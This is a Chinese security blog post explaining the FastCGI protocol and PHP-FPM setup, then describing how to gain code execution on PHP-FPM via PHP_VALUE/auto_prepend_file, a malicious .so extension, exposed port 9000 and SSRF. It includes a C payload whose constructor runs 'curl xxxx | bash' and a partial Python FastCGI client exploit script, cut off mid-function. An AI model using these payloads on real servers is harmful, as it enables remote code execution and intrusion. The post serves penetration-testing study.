PHP-FPM(FastCGI Process Manager):FastCGI进程管理器
FastCGIFastCGI
本身是一个协议,是服务器中间件和某个语言后端进行数据交换的协议
fastcgi
协议由多个 record
组成,record
由 header
和 body
组成
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
实验推荐:Fastcgi安全
http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015060115422500001PHP-FPM
是 一个实现和管理 FastCGI
协议的进程
PHP-FPM
按照 fastcgi
的协议将 TCP
流解析成真正的数据
一般来说,apache
通过 mod_php
来解析 php
,nginx
通过 php-fpm(fast-cgi)
来解析 php
。apache
也可以设置为 php-fpm
方式
mod_php
通过嵌入 PHP
解释器到 apache
进程中,只能与 apache
配合使用
而 cgi
和 fast-cgi
以独立的进程的形式出现,只要对应的Web服务器实现 cgi
或者 fast-cgi
协议,就能够处理 PHP 请求
nginx 与 php-fpm
通信可以通过两种模式,一种是 TCP
模式,一种是 unix
套接字 (socket
) 模式
php-fpm
进程会监听本机上的一个端口,默认为9000
,然后 nginx
会把客户端数据通过 fastcgi
协议传给 9000
端口,php-fpm
拿到数据后会调用 cgi
进程解析
nginx的配置文件/etc/nginx/sites-available/default
:
location ~ \.php$ {
...
fastcgi_pass 127.0.0.1:9000;
...
}
php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf
:
listen= 127.0.0.1:9000
Unix Socket
unix 系统进程间通信方式,需要通信的两个进程引用同一个 socket
描述符文件就可以建立通道进行通信
nginx 的配置文件/etc/nginx/sites-available/default
:
location ~ \.php$ {
...
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
...
}
php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf
:
listen= /run/php/php7.3-fpm.sock
0x02 任意代码执行
普通 RCE
PHP-FPM
的两个环境变量: PHP_VALUE
和 PHP_ADMIN_VALUE
,用来设置PHP配置项
PHP_VALUE
可以设置模式为PHP_INI_USER
和PHP_INI_ALL
的选项PHP_ADMIN_VALUE
可以设置所有选项,但disable_functions
除外
和php-fpm
进行通信,执行php代码
来自p神的文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#_1
找到一个已存在的PHP文件
设置
auto_prepend_file
为php://input
且allow_url_include = On
,在执行任何php文件前都要包含一遍POST
的内容,把待执行的代码放在Body
中或者
auto_prepend_file
为 自己的vps地址
但这种方法受限于 disable_functions
disable_functions
RCE
可以引入扩展 .so文件
,hook函数,达到绕过 disable_functions
来RCE的效果
PHP_ADMIN_VALUE['extension'] = hack.so
生成 .so
文件的工具 https://github.com/w181496/FuckFastcgi/
或者
// gcc -c -fPIC hack.c -o hack
// gcc --share hack -o hack.so
#define _GNU_SOURCE
#include
#include
#include
__attribute__ ((__constructor__)) void preload (void)
{
system("curl xxxx | bash");
}
0x03 attack
9000端口暴露在外网(未授权访问)
修改 php-fpm
的监听端口为 0.0.0.0:9000
,也就是任何ip都能访问9000端口,就可以与 php-fpm
进行通信,伪造 fastcgi
协议包进行任意代码执行
exp: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
SSRF打9000端口如果9000端口没有开放在外网,可以通过SSRF来打,原理同上
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2])
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录